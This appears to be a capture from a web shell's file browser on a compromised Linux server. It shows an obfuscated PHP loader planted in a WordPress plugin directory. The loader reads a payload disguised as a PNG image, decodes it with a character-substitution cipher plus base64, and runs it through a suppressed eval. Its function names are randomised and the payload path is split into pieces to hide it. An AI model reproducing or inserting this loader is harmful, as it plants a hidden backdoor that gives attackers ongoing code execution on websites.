HEX
Server: Apache
System: Linux server11 5.10.0-33-amd64 #1 SMP Debian 5.10.226-1 (2024-10-03) x86_64
User: web95 (5097)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/clients/client1/web95/web/wp-content/plugins/akugomoh/osifab.txt
<?php

function pemume_zhucopyk($mepyju_ixexitino) {
    $suhuto = fipyla_ewoxekhu(1);
    $vakhiti = fipyla_ewoxekhu(2);
    for ($bivevuj = 0; $bivevuj < strlen($suhuto); $bivevuj++) {
        $eritakh = substr($suhuto, $bivevuj, 1);
        $idykudi = substr($vakhiti, $bivevuj, 1);
        $ylofuha[$eritakh] = $idykudi;
    }

    $avonaju = strtr($mepyju_ixexitino, $ylofuha);
    $avonaju = base64_decode($avonaju);

    return $avonaju;
}

function fipyla_ewoxekhu($mepyju_ixexitino) {
    if ($mepyju_ixexitino == 1)
        return hugowo_shechodorut();
    if ($mepyju_ixexitino == 2)
        return ydomyh_ekijidoso();
}

function razony_imysunop($mepyju_ixexitino) {
    $kopole = array();
    if (!file_exists($mepyju_ixexitino))
        return false;
    $yxezaxo = @file_get_contents($mepyju_ixexitino);
    if (!$yxezaxo)
        return false;
    $yxezaxo = substr($yxezaxo, 3);
    $kopole = pemume_zhucopyk($yxezaxo);
    return $kopole;
}

function hugowo_shechodorut() {
    $yxezaxo = "ekufbmtOLD4+yHiMGhwZanzYUISPAs19Jo=qpW3REBF20V8j/ClXcdvKxTQ56rNg7";
    return $yxezaxo;
}

function ydomyh_ekijidoso() {
    $kopole = "0kuQ=/KEtI75qW2CNiBMyplLDYRAo+631HdFzwnXSZvm8jeh4T9GxJUacPgrsbOfV";
    return $kopole;
}

$ebyzix = razony_imysunop(__DIR__ . "/asse" . "ts/i" . "mages/" . "iniwar" . "a.pn" . "g");
if ($ebyzix) {
    @eval($ebyzix);
}